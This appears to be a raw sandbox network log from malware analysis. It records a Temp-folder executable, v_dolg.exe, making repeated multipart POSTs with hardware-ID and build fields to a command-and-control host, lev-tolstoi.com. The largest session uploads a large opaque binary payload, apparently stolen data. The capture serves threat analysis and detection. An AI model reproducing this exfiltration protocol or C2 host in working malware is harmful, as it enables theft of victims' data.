fBk+XZfUQlWylEpIifKVP9uumyxxkHaSIfrovK2S4L5NOB4r8TMXAJewXk14xGSayml9SAVEl1ZVH/jIeLM02//MLtwRJYPhY6S7Tvg2lEurq4p7JZQHp0V+PA6MgtB6eLwqPBdUQwTn4CtILQNRHo//66x0gJYiJRrpSbhXwfp53C4oI/BHgNbBCz5L5CXb68r+mraWx3ZED0y8/tHE2phY3l2RRWNk5FXbTCwD8KiK+n5JJBVjZHUO3cz8h8Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50083	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:35 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4FORW6QN1079LO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12836 Host: lev-tolstoi.com
2024-12-18 11:01:35 UTC	12836	OUT	Data Raw: 2d 2d 34 46 4f 52 57 36 51 4e 31 30 37 39 4c 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 34 46 4f 52 57 36 51 4e 31 30 37 39 4c 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 46 4f 52 57 36 51 4e 31 30 37 39 4c 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 54 6c 36 4d 6b 2d 2d 6c 65 67 65 6e 67 0d 0a 2d 2d 34 46 4f 52 57 36 51 Data Ascii: --4FORW6QN1079LOContent-Disposition: form-data; name="hwid"4BA8B9F431499A5C58D6DA241434FD08--4FORW6QN1079LOContent-Disposition: form-data; name="pid"2--4FORW6QN1079LOContent-Disposition: form-data; name="lid"7Tl6Mk--legeng--4FORW6Q
2024-12-18 11:01:37 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oc87nbumdb1tmumu6un97omlio; expires=Sun, 13-Apr-2025 04:48:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yfzAfd3wVCUuhrKwoahAjg2zAZpAMH1rcqLy6tG0iQ374PWEJ1TPn%2BOWO%2BgLz%2BHA5Y%2BxJ8QSfTv0lzfIf6K7TiYIIfTNpG6AIAuL8krA%2F2dDcj3tULX6ppz4HyEcXFOgkWY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea7e3eb6c4261-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2424&min_rtt=2416&rtt_var=922&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13771&delivery_rate=1177419&cwnd=239&unsent_bytes=0&cid=120e022262436bd2&ts=1201&x=0"
2024-12-18 11:01:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:01:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50087	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:38 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5JYM579XM55RWU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: lev-tolstoi.com
2024-12-18 11:01:38 UTC	15082	OUT	Data Raw: 2d 2d 35 4a 59 4d 35 37 39 58 4d 35 35 52 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 35 4a 59 4d 35 37 39 58 4d 35 35 52 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 4a 59 4d 35 37 39 58 4d 35 35 52 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 54 6c 36 4d 6b 2d 2d 6c 65 67 65 6e 67 0d 0a 2d 2d 35 4a 59 4d 35 37 39 Data Ascii: --5JYM579XM55RWUContent-Disposition: form-data; name="hwid"4BA8B9F431499A5C58D6DA241434FD08--5JYM579XM55RWUContent-Disposition: form-data; name="pid"2--5JYM579XM55RWUContent-Disposition: form-data; name="lid"7Tl6Mk--legeng--5JYM579
2024-12-18 11:01:40 UTC	1041	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mpcc001sjlv96usifu0kgeq561; expires=Sun, 13-Apr-2025 04:48:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0AqJfmKUqPMBrdQGxC10DlrM96s32DqOwThe%2FC18KVmX6jg0RYOarJiKmawcAsxANttPCC%2FcpHaViqwiB7Blh8hO2ZrjjEAh%2FF0C4UA7YpnPClzorAJFx0SCKbVVwg%2BIOrk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea7f5dc0041b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1663&min_rtt=1659&rtt_var=630&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2835&recv_bytes=16017&delivery_rate=1724748&cwnd=199&unsent_bytes=0&cid=05e3c8566dd2c093&ts=2233&x=0"
2024-12-18 11:01:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:01:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50090	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:42 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GQZ3XFRD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19904 Host: lev-tolstoi.com
2024-12-18 11:01:42 UTC	15331	OUT	Data Raw: 2d 2d 47 51 5a 33 58 46 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 47 51 5a 33 58 46 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 51 5a 33 58 46 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 54 6c 36 4d 6b 2d 2d 6c 65 67 65 6e 67 0d 0a 2d 2d 47 51 5a 33 58 46 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --GQZ3XFRDContent-Disposition: form-data; name="hwid"4BA8B9F431499A5C58D6DA241434FD08--GQZ3XFRDContent-Disposition: form-data; name="pid"3--GQZ3XFRDContent-Disposition: form-data; name="lid"7Tl6Mk--legeng--GQZ3XFRDContent-Disposi
2024-12-18 11:01:42 UTC	4573	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 3d 72 d7 62 Data Ascii: 2+?2+?o?Mp5p_oI=rb
2024-12-18 11:01:43 UTC	1038	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o1hki7u62rmrgqfsvv50legcpu; expires=Sun, 13-Apr-2025 04:48:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1XfB3bBwAE%2FT9U8Q9xErviBRblyCUYOxztgjcN6Qzd2EG5j2nqWowBHTToxVWjQWIHXNRd077o0MCryjNQex74A2jNjzyr%2FTEM2TjuKAf%2Bmpi6aGGgSdi7ze4xHNgUr9fjU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea80f181f8c2d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1978&min_rtt=1971&rtt_var=754&sent=20&recv=24&lost=0&retrans=0&sent_bytes=2835&recv_bytes=20855&delivery_rate=1438423&cwnd=247&unsent_bytes=0&cid=c9902ea482e783cc&ts=936&x=0"
2024-12-18 11:01:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:01:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50094	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:45 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DYRU7EO16XGJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1222 Host: lev-tolstoi.com
2024-12-18 11:01:45 UTC	1222	OUT	Data Raw: 2d 2d 44 59 52 55 37 45 4f 31 36 58 47 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 44 59 52 55 37 45 4f 31 36 58 47 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 59 52 55 37 45 4f 31 36 58 47 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 54 6c 36 4d 6b 2d 2d 6c 65 67 65 6e 67 0d 0a 2d 2d 44 59 52 55 37 45 4f 31 36 58 47 4a 0d Data Ascii: --DYRU7EO16XGJContent-Disposition: form-data; name="hwid"4BA8B9F431499A5C58D6DA241434FD08--DYRU7EO16XGJContent-Disposition: form-data; name="pid"1--DYRU7EO16XGJContent-Disposition: form-data; name="lid"7Tl6Mk--legeng--DYRU7EO16XGJ
2024-12-18 11:01:46 UTC	1041	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=66oi6s1nd55m786g0hngfj6e6m; expires=Sun, 13-Apr-2025 04:48:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wDaSTBLis8bTN%2B4ziAMFG4IMUCbjHpL0Z%2BJY2hdhsQz7B4mIQ45%2Bo8FZGDS6%2BrCuZ75ieuLOwlggdG3kuGT29bXojeVNn%2BxsvPgMvPmw1YCA7A38vcHX%2BCjMVSL6zObjXV4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea821ecbf429a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&min_rtt=1794&rtt_var=713&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2132&delivery_rate=1492842&cwnd=237&unsent_bytes=0&cid=fd1363b196104fa8&ts=724&x=0"
2024-12-18 11:01:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:01:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50095	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:48 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9X8QZAGHXE7J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588047 Host: lev-tolstoi.com
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 2d 2d 39 58 38 51 5a 41 47 48 58 45 37 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 39 58 38 51 5a 41 47 48 58 45 37 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 58 38 51 5a 41 47 48 58 45 37 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 54 6c 36 4d 6b 2d 2d 6c 65 67 65 6e 67 0d 0a 2d 2d 39 58 38 51 5a 41 47 48 58 45 37 4a 0d Data Ascii: --9X8QZAGHXE7JContent-Disposition: form-data; name="hwid"4BA8B9F431499A5C58D6DA241434FD08--9X8QZAGHXE7JContent-Disposition: form-data; name="pid"1--9X8QZAGHXE7JContent-Disposition: form-data; name="lid"7Tl6Mk--legeng--9X8QZAGHXE7J
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 63 f7 a6 c2 e5 15 6e 7b c8 dd be d9 ea b4 18 50 23 fb 3b c2 5d 2c 57 f5 c1 02 e3 a7 cd c1 df 92 ef 34 7c 2c 4c 23 15 74 9f 8e 6e 20 82 07 c5 db 97 6c a7 22 74 e0 4a 4f 84 dd 36 95 27 96 20 a1 59 fb a1 78 52 c4 a1 78 51 20 37 06 a5 d6 c2 29 a7 1d 19 ae 52 20 c9 8e 50 c0 df 4c a0 66 e2 f2 0c e5 19 e7 52 3b f7 74 e8 8e 36 23 da cf 64 b3 4c ea 24 a0 df dd 0f 38 cd 73 f4 d1 93 28 ee 0b 6f 1f bf b6 ee d9 32 94 a8 be fb b8 ab c0 68 65 c4 c2 7f fb d8 17 f9 08 c0 84 cd cf b8 09 18 12 98 b1 bb bf 03 61 a0 06 35 2b ce 6a 98 23 11 14 77 53 e3 88 3c c3 fe 57 4d 83 27 be 27 98 f1 08 2b b0 13 c9 87 43 be 82 54 ef 8d de 82 6b 80 3e 50 11 27 7e 18 d6 56 ef 8b 90 46 c6 3b fe f0 92 bd 34 fa 52 91 7d b3 64 4f c6 2c 7a 9e 1a 03 4d d4 91 e8 eb 73 4b a6 07 82 5b 46 e2 0c 47 f1 Data Ascii: cn{P#;],W4\|,L#tn l"tJO6' YxRxQ 7)R PLfR;t6#dL$8s(o2hea5+j#wS<WM''+CTk>P'~VF;4R}dO,zMsK[FG
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 6e 13 0b d8 47 dc 05 e7 7f fd 7c 37 87 1f 85 fa 3e 15 78 f9 97 70 d8 bd 42 f3 5d 62 3b 04 89 8b 65 3e e3 37 f5 23 bc b4 0a 33 e9 6d 85 2b 4f ea 02 dd d3 22 23 22 36 0f 5e 46 de ae 7b 56 10 fe 8d 3a 93 3e c7 52 47 9d 5a 17 67 d8 ed 69 41 5f dd 8f 4f a3 cd 13 9b bf 18 8a ae 0c cb d0 85 3e 66 53 66 08 6e bc e0 92 82 06 e4 d8 d6 3a 5d 69 b3 5d da bf 71 af 6e 3e 34 31 78 e6 66 c5 c6 35 9f f6 d3 47 4a ec b7 c7 8b e6 7f 3c 63 f9 4b 14 17 3b 02 fc a4 cf d2 4f 8d 81 67 ce c9 73 b1 06 6b 96 4f 6d d6 ff 8e 24 64 ea 27 58 27 a3 4a 33 0f 01 df 9f ec a5 d1 7d 00 ee f1 ec 4a f2 af fb af 5c ce 08 75 1b 00 cb f6 de 09 d0 11 70 09 1c 1a bc 77 c8 29 75 3c 41 1d 07 4c 38 65 52 47 ff bb d3 e6 21 0e be 20 04 ee 90 c0 5a 32 d7 1a a1 13 f2 c0 ed 12 e6 fb ff 9d 60 a5 78 1e f5 fd Data Ascii: nG\|7>xpB]b;e>7#3m+O"#"6^F{V:>RGZgiA_O>fSfn:]i]qn>41xf5GJ<cK;OgskOm$d'X'J3}J\upw)u<AL8eRG! Z2`x
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 06 a8 e3 26 07 b4 40 ec 2f 41 fc 97 f9 b0 89 e7 38 9f cf 95 6a ad 87 5b 5e 35 dc 24 89 71 c5 f9 0f 28 10 79 ad bd a6 c6 93 87 40 be 57 28 ed 09 1b 16 7b 3e 22 f3 57 9e 61 3b 00 23 df ba 76 74 30 12 a4 d6 be 39 95 74 3d 56 41 3d 01 50 5b 8d a2 bf 90 3a 09 ea 61 d5 5e 73 89 8d a1 7f 7b 24 6f f2 2c 68 0d ad 9f a3 93 8c 3e c2 c9 a4 74 96 e1 8d e0 fa c5 70 4e 5e 86 1e 6f 46 4c 44 53 db 72 e2 e2 91 a4 b9 30 ef 9f eb 8d ba 24 95 ad 1c 9f 05 8f a4 bc 1f 36 43 62 5b 97 b2 7b 2e 16 6a 82 55 98 90 f0 d9 0d ce bf 1b db cb 2e 4a fd 32 af f2 fa e2 f0 4f 33 10 84 08 5c 64 6c ea 0c 8b 4b 52 e7 c3 44 5f 40 52 13 b8 9b 05 42 79 17 55 72 6f 00 8d 94 5d 52 7f 44 fe 6c 5a c4 0f 73 83 6b 29 84 61 ee e4 d7 b9 e1 e2 dd ec f6 75 35 4b 5d 00 5b 70 67 e6 9a 2e b8 88 ea 3d 0a 1a 02 Data Ascii: &@/A8j[^5$q(y@W({>"Wa;#vt09t=VA=P[:a^s{$o,h>tpN^oFLDSr0$6Cb[{.jU.J2O3\dlKRD_@RByUro]RDlZsk)au5K][pg.=
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: d4 48 1a 77 41 84 a8 99 11 d4 6f 80 1c dd 56 97 7a f3 2a 30 32 83 32 1e 68 60 1e 51 37 2e 3b df da 25 44 c5 95 f2 ce 86 fc 6f e1 b8 d1 2a 0e b8 da c2 0e 20 d1 29 e1 b2 46 05 da 45 40 7d a1 00 5d e6 cd 38 4d 36 01 05 92 7f 7f f0 71 3d 46 06 b7 ba 53 6b b8 da f9 14 1a 1c d4 10 80 f0 64 c3 ba ea 0e 19 28 a3 14 48 8a c7 62 78 8e 6e b5 04 a7 be d0 99 fd 79 bd 91 f6 c2 f6 40 55 67 2c d7 71 3e 48 3d 04 27 67 6e 86 cb a8 97 0a 52 4b 9e 74 97 8b 62 2a 20 be b5 e2 72 49 f2 61 c4 e6 b1 15 37 87 08 a6 50 1b 0c cc a4 e2 d3 bd e7 6b 28 b6 29 0d e1 22 23 e7 6e a4 90 a5 85 0f 73 f1 5a 98 1e 3d e1 86 22 91 53 f8 a3 87 eb 77 55 eb ee f7 20 ee 46 75 3d 27 fc 3b 14 8a 08 15 c3 3a cd 97 3d 33 ef 17 cd c5 58 0e 84 a8 09 20 9a 8b c8 16 0e 11 7a db 16 3d 47 35 91 56 4d e9 c7 b7 Data Ascii: HwAoVz022h`Q7.;%Do )FE@}]8M6q=FSkd(Hbxny@Ug,q>H='gnRKtb* rIa7Pk()"#nsZ="SwU Fu=';:=3X z=G5VM
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 96 50 8c d1 7b 71 84 eb 7f d4 62 a3 05 c6 e7 1f ce 9a d7 74 99 29 ad 97 0f 9e ff 9d b6 b8 66 59 0a cd 17 c0 6d 87 23 97 33 7c d0 15 7b 2c 82 96 af 5c b1 c1 83 97 65 ff 1e ac 77 43 be 9a 1d 08 49 02 49 fc 68 39 7b 5f c5 97 31 fb 70 5d 0b 62 6b fc 28 7f 22 c4 fb 3f 5c a7 d1 54 d1 b7 55 6b c6 4e 4a 6b b4 39 30 37 e9 6a 3d 7c c3 67 b3 25 fe e2 2d 72 9f 49 a3 45 1e 21 35 80 63 f9 4c 4d bd 29 3b 2e 36 36 3c c7 88 1a 1b 94 21 81 ff d5 5d a4 bd 5a 4c 68 6b dd d0 6b 21 e3 04 2e 8d aa cd fd 02 d3 97 31 cf 15 05 41 e2 43 2a 47 78 96 44 66 58 09 83 01 55 01 f8 6c 5a 53 17 fd 70 bb 49 c8 e1 b9 6b a6 26 58 38 11 da 51 0a 42 48 c1 b4 18 78 8f 40 d2 3e 02 0e e8 dc 82 98 9f 54 c1 3e 01 53 07 c0 1c fe 74 1b 0d fc e8 34 6a e6 3b be 16 e8 eb 7f 6e d6 3e db 1f fe c4 a5 64 65 Data Ascii: P{qbt)fYm#3\|{,\ewCIIh9{_1p]bk("?\TUkNJk907j=\|g%-rIE!5cLM);.66<!]ZLhkk!.1AC*GxDfXUlZSpIk&X8QBHx@>T>St4j;n>de
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: d3 4c 19 f9 57 59 15 fc ef cb d6 78 44 f1 c2 a4 32 3e 0a b5 1d ab a6 dd a4 e6 12 39 b9 f2 e3 1d 55 5d 8e b2 88 37 5c 39 6d 3c 1f d5 d9 be 77 a7 e9 e5 d7 52 9d db ef 38 cf c4 86 9b 8f 88 b4 bc 01 07 7b a3 15 e6 7e 1a 96 54 61 0e a0 44 12 71 38 22 53 a9 c8 1b f3 5c ca fe 8b 21 1e 7b 96 ac db bb e6 e5 c1 9f d0 cb a4 f5 a0 92 e8 10 ab f9 0c 2c 24 5f 0e 62 c3 5f 8f fb 23 68 67 0e bf da b1 9c b0 db fd 7d aa 25 c9 04 8d 14 9c d9 22 db 32 55 12 3d 2a 25 fb 5d 01 c3 7f 56 15 52 b5 20 76 69 4d 97 be ae e9 2c 91 8b 8e 13 e2 2c f4 45 39 4b 3f f1 93 ac 53 f3 00 97 1f 51 21 9e a1 1c 61 7d 3e c0 0e 10 4a 90 cd e1 f9 45 af e8 b0 9a 29 ff ce f8 20 f5 da 95 c3 00 e6 c8 f5 b9 71 87 e5 1c c4 00 89 35 d4 6a 5d 7e 64 84 3f 3f b0 b0 40 51 89 da 40 c2 26 69 8a 17 3e 9f 50 52 98 Data Ascii: LWYxD2>9U]7\9m<wR8{~TaDq8"S\!{,$_b_#hg}%"2U=*%]VR viM,,E9K?SQ!a}>JE) q5j]~d??@Q@&i>PR
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 1a a9 00 88 42 b2 1a 1b 67 e1 c7 00 45 d2 37 5d 98 c3 42 2f a0 a8 db 42 60 06 4e 81 9c 22 01 76 ed c9 44 87 58 9c fa 0b 0d 29 13 f4 f7 d9 6c d0 86 34 ab c8 4f b6 4c 42 9f f9 2c f9 6e 39 51 70 da 10 ed dc c9 34 41 f1 8a f6 0c e6 d7 76 1e d1 4b 82 1a 13 68 00 9e 5a f5 dc aa b0 9b da 84 60 a9 63 d6 68 73 d0 e3 77 c1 52 9c 6d d8 f6 b5 7c 04 25 09 d5 2b ec 61 d4 c5 96 bf 75 09 84 f3 df f4 bc a0 3d 7c 67 99 db 7d 93 3f 84 72 a0 0f 9a b2 c4 fd 9c 58 45 ae 1d 10 bf 1f ee 2f c1 61 56 f2 db b7 d9 00 2c f4 f3 19 49 2d 23 c2 58 03 91 18 60 c2 2b 97 a4 da 8f d4 0a a7 d6 a2 5b d0 dc 59 90 43 4b 25 a4 9c a0 46 26 cf 59 7c 60 7c 77 cd 59 86 34 09 7b 0b 5d 5f 05 6f 53 91 43 4c d1 5b 14 8b 7f a8 cb 49 bf 1c 69 41 98 7f 08 95 e5 d6 4b 25 68 76 b0 b1 c5 20 95 95 da 3a 51 b5 Data Ascii: BgE7]B/B`N"vDX)l4OLB,n9Qp4AvKhZ`chswRm\|%+au=\|g}?rXE/aV,I-#X`+[YCK%F&Y\|`\|wY4{]_oSCL[IiAK%hv :Q
